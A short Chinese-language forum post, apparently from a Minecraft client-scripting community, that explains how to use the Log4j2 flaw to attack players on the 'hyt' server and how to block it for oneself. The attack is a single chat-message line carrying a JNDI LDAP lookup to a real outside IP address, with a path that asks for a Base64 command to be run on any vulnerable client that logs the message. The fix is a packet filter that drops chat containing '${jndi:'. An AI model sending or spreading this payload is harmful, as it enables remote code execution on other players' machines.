利用log4j2在hyt进行攻击与对自身修复(或防御)方法
-
攻击方法:
mc.thePlayer.sendChatMessage("@${jndi:ldap://110.42.239.3: 1389/Basic/CommandBase64/UAJIDBIUWjohaowdnoa}")修复方法(仅对自身):
//onpacket var e = t.getPacket(); e instanceof S02PacketChat && e.getChatComponent().getUnformattedText().toLowerCase().contains("${jndi:") && t.cancelEvent(); //
Hello! It looks like you're interested in this conversation, but you don't have an account yet.
Getting fed up of having to scroll through the same posts each visit? When you register for an account, you'll always come back to exactly where you were before, and choose to be notified of new replies (either via email, or push notification). You'll also be able to save bookmarks and upvote posts to show your appreciation to other community members.
With your input, this post could be even better 💗
Register Login